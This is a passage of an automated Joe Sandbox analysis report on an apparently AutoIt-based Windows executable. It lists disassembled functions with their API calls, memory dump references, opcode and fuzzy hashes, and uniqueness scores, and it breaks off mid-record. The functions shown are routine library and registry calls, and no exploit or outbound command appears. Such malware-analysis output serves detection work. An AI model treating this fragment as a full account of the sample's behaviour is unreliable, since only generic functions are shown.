                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: EnvironmentStrings$Free__malloc_crt
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 237123855-0
                                                                                                                                                                            • Opcode ID: 048dac12b25f6f26f1746248758c64b895c043bd998f8cd18277904731a90491
                                                                                                                                                                            • Instruction ID: 41179d3114d9305887f039ad76d1b369a575085c5dcc2e4fef46c6645e393ad5
                                                                                                                                                                            • Opcode Fuzzy Hash: 048dac12b25f6f26f1746248758c64b895c043bd998f8cd18277904731a90491
                                                                                                                                                                            • Instruction Fuzzy Hash: 1BF0823A7041317E9B25BA357E448BB1669DB8A329316496BFD52C3200F99C4D8382A9
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                                                                                                                            • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                                                                                                                            • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseOpenQueryValue
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3677997916-0
                                                                                                                                                                            • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                            • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                                                                                                                            • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                            • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • _malloc.LIBCMT ref: 00435278
                                                                                                                                                                              • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                              • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                              • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001), ref: 00413931
                                                                                                                                                                            • _malloc.LIBCMT ref: 00435288
                                                                                                                                                                            • _malloc.LIBCMT ref: 00435298
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _malloc$AllocateHeap
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 680241177-0
                                                                                                                                                                            • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                            • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                                                                                                                            • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                            • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00434F66 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,00452BC1,?,?,?), ref: 00434F7E
                                                                                                                                                                            • SetFileTime.KERNELBASE(00000000,?,00000000,?), ref: 00434F98
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00434F9F
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: File$CloseCreateHandleTime
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3397143404-0
                                                                                                                                                                            • Opcode ID: 8160c471e296e30317256c6c88eb7e1bc07dc4386827ceea14d4f756b3bee6b9
                                                                                                                                                                            • Instruction ID: 225011b16fe4d6af9175c1a66afc187e3dae5687c313c29167a0b6f0749d34c1
                                                                                                                                                                            • Opcode Fuzzy Hash: 8160c471e296e30317256c6c88eb7e1bc07dc4386827ceea14d4f756b3bee6b9
                                                                                                                                                                            • Instruction Fuzzy Hash: D4E04F75240320BBE1209B249C4DF9F7768AB89B20F208A18F755661D0C7B46C418769
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00411AC6 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • __lock.LIBCMT ref: 00411ACE
                                                                                                                                                                              • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                                                                                                              • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                                                                                                              • Part of subcall function 00418407: RtlEnterCriticalSection.NTDLL(?), ref: 00418431
                                                                                                                                                                            • __decode_pointer.LIBCMT ref: 00411AD9
                                                                                                                                                                              • Part of subcall function 004169E9: TlsGetValue.KERNEL32(00000000,?,00416AA4,?,004114D4,?,00000000,00000001), ref: 004169FB
                                                                                                                                                                              • Part of subcall function 004169E9: TlsGetValue.KERNEL32(00000005,?,00416AA4,?,004114D4,?,00000000,00000001), ref: 00416A12
                                                                                                                                                                              • Part of subcall function 004169E9: RtlDecodePointer.NTDLL(00000000,?,00416AA4,?,004114D4,?,00000000,00000001), ref: 00416A50
                                                                                                                                                                            • __encode_pointer.LIBCMT ref: 00411AE3
                                                                                                                                                                              • Part of subcall function 0041696E: TlsGetValue.KERNEL32(00000000,?,004169E7,00000000,00422F48,00496770,00000000,00000314,?,00418216,00496770,Microsoft Visual C++ Runtime Library,00012010), ref: 00416980
                                                                                                                                                                              • Part of subcall function 0041696E: TlsGetValue.KERNEL32(00000005,?,004169E7,00000000,00422F48,00496770,00000000,00000314,?,00418216,00496770,Microsoft Visual C++ Runtime Library,00012010), ref: 00416997
                                                                                                                                                                              • Part of subcall function 0041696E: RtlEncodePointer.NTDLL(00000000,?,004169E7,00000000,00422F48,00496770,00000000,00000314,?,00418216,00496770,Microsoft Visual C++ Runtime Library,00012010), ref: 004169D5
                                                                                                                                                                              • Part of subcall function 0041832D: RtlLeaveCriticalSection.NTDLL ref: 0041833C
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Value$CriticalPointerSection$DecodeEncodeEnterLeave__amsg_exit__decode_pointer__encode_pointer__lock__mtinitlocknum
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 741361212-0
                                                                                                                                                                            • Opcode ID: 22234471c2f19231bfa2ba309b74b96067abb60f053d1d155b9d022bb57c1995
                                                                                                                                                                            • Instruction ID: 38d776d816f70f727deb20f5ce19c96205530670ca88b6e54865c94596e56b2a
                                                                                                                                                                            • Opcode Fuzzy Hash: 22234471c2f19231bfa2ba309b74b96067abb60f053d1d155b9d022bb57c1995
                                                                                                                                                                            • Instruction Fuzzy Hash: B9D05EB1A00318B7CA0037E69C07ADA3E45CB407A8F0604BFFB0857252ED3AC85082DD
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004352D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __fread_nolock
                                                                                                                                                                            • String ID: EA06
                                                                                                                                                                            • API String ID: 2638373210-3962188686
                                                                                                                                                                            • Opcode ID: b0f12358a10ccc91713b8803d842eac78f0c835c00215d7294352439040602c7
                                                                                                                                                                            • Instruction ID: 23e6cbce50a632bd9308966c758204bfda8dfebcaf80c67569f9fe191929c306
                                                                                                                                                                            • Opcode Fuzzy Hash: b0f12358a10ccc91713b8803d842eac78f0c835c00215d7294352439040602c7
                                                                                                                                                                            • Instruction Fuzzy Hash: 30012231408750ABC719DA189852A6BBBE0AFD5305F04C91EF0EA82281E278E10CCB66
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00401B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Exception@8Throw_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                            • String ID: @EXITCODE
                                                                                                                                                                            • API String ID: 580348202-3436989551
                                                                                                                                                                            • Opcode ID: 48d001a4b96ee351bc7679959485890c1c6d832d60c6cde5ea273d4c8ab31dfe
                                                                                                                                                                            • Instruction ID: 288ad252d7dad0c090ff8240dee62855692e698d70424b42c0a66861a7771545
                                                                                                                                                                            • Opcode Fuzzy Hash: 48d001a4b96ee351bc7679959485890c1c6d832d60c6cde5ea273d4c8ab31dfe
                                                                                                                                                                            • Instruction Fuzzy Hash: 73F06DF2A002025BD7649B35DC0276776E4AB44704F18C83EE14AC7791F6BDE8829B15
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __lock_file_memset
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 26237723-0
                                                                                                                                                                            • Opcode ID: d27c2f8224b4ab81f31e209f00c936090378a494e412a841fbfad35c81dc8b2e
                                                                                                                                                                            • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                                                                                                                            • Opcode Fuzzy Hash: d27c2f8224b4ab81f31e209f00c936090378a494e412a841fbfad35c81dc8b2e
                                                                                                                                                                            • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                              • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                            • __lock_file.LIBCMT ref: 00414EE4
                                                                                                                                                                              • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                                                                                                                            • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 717694121-0
                                                                                                                                                                            • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                            • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                                                                                                                            • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                            • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                            • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Message$DispatchTranslate
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1706434739-0
                                                                                                                                                                            • Opcode ID: 8fad050e2429e92640c4d66c63a080c3d8b52bf286d60078a67dc5eaa0bc8fd5
                                                                                                                                                                            • Instruction ID: 49647130acdc3617ae5c3e08a3fd5206ae6b80a91b6ea45e7ea8fc99a74219a8
                                                                                                                                                                            • Opcode Fuzzy Hash: 8fad050e2429e92640c4d66c63a080c3d8b52bf286d60078a67dc5eaa0bc8fd5
                                                                                                                                                                            • Instruction Fuzzy Hash: B3F03071114300AFDA24D7E58D41B5BB3A8AF98740F408C2EBA51A61C1EBB8E404C76A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                            • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Message$DispatchTranslate
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1706434739-0
                                                                                                                                                                            • Opcode ID: ad3eaad6f9eb8a4c6a895da0c71685ac0de1523e6c1ed7ca4735466c55914713
                                                                                                                                                                            • Instruction ID: fcd1fcbac2743dfbe9e9f23951ccc9fdc6ec49d10456b19be6482b7702c7dba2
                                                                                                                                                                            • Opcode Fuzzy Hash: ad3eaad6f9eb8a4c6a895da0c71685ac0de1523e6c1ed7ca4735466c55914713
                                                                                                                                                                            • Instruction Fuzzy Hash: 03F054B1114300ABDA14D7E58D41B5B73A4AF94740F408C3EBA11E52C1EBFCD504C71A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040D540 Relevance: 3.0, APIs: 2, Instructions: 26sleeptimeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: SleepTimetime
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 346578373-0
                                                                                                                                                                            • Opcode ID: 6cbc87983288f369fe854831ce83547e730c3a40b45c9aa84d90c27d10a72474
                                                                                                                                                                            • Instruction ID: ff5a2ab7ad483658a1e7ee0f102d7e53cedbfc4179de8e6e3d04cf6f96f9dbeb
